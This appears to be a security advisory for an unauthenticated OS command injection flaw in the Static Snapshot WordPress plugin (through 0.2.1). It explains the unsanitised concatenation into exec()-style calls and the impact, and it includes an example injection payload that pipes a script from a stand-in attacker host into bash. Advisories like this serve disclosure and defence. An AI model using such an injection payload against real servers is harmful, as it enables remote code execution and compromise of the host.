Description

The Static Snapshot WordPress plugin through 0.2.1 does not sanitise shell metacharacters in a user-supplied value before concatenating it into operating-system commands run by the server, allowing unauthenticated attackers to execute arbitrary commands on the host.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "9.8",
  "pubDate": "2026-11-06T06:16:40.480Z",
  "pubdate": "2026-11-06T06:16:40.480Z",
  "executiveSummary": "The Static Snapshot WordPress plugin, in versions through 0.2.1, contains a critical OS command injection vulnerability.\nThis vulnerability arises due to the failure to properly sanitize user-supplied input before it is passed to a system-level command execution function.\nSuccessful exploitation allows an unauthenticated remote attacker to execute arbitrary operating-system commands with the privileges of the web server process.\nThis represents a severe security risk, potentially leading to a complete compromise of the WordPress environment, unauthorized access to underlying server resources, and further lateral movement within the network.\nThe vulnerability is exploitable without authentication, meaning no administrative access or specialized user credentials are required to carry out the attack.\nGiven the severity and the ease of exploitation, this flaw poses a high risk to all installations running affected versions of the plugin.",
  "technicalDetails": "The vulnerability is rooted in an OS command injection flaw within the Static Snapshot plugin versions up to 0.2.1.\nThe root cause is the improper handling of user-supplied data that is subsequently concatenated into an operating-system command string.\nWhen a user input is passed into a function responsible for executing system commands, such as exec(), shell_exec(), or passthru(), the plugin fails to implement sufficient input validation or sanitization routines.\nBecause the input is not escaped or sanitized, an attacker can supply malicious shell metacharacters (e.g., ';', '&', '|', '&&', '||') to break out of the intended command context and append arbitrary commands.\nThe attack flow begins with an unauthenticated attacker identifying an input vector within the Static Snapshot plugin that maps to a backend system call.\nThe attacker submits a specially crafted HTTP request containing a payload designed to terminate the intended command and inject their own malicious command (e.g., 'original_command; curl http://attacker.com/shell.sh | bash').\nUpon receiving the request, the server-side code processes the unsanitized input and passes the resulting malicious command string to the host operating system's command shell.\nThe web server executes the injected command with its own permissions, leading to full remote code execution (RCE).\nPost-exploitation impact includes the ability for the attacker to read, modify, or delete files on the server, install persistent backdoors, pivot to internal network resources, or conduct further data exfiltration.\nBecause the execution happens at the OS level rather than the application layer, traditional application-level access controls are bypassed.\nThe vulnerability is exposed directly via the web interface, requiring no pre-existing authentication, making it accessible to any actor capable of reaching the plugin's endpoint via the network."
}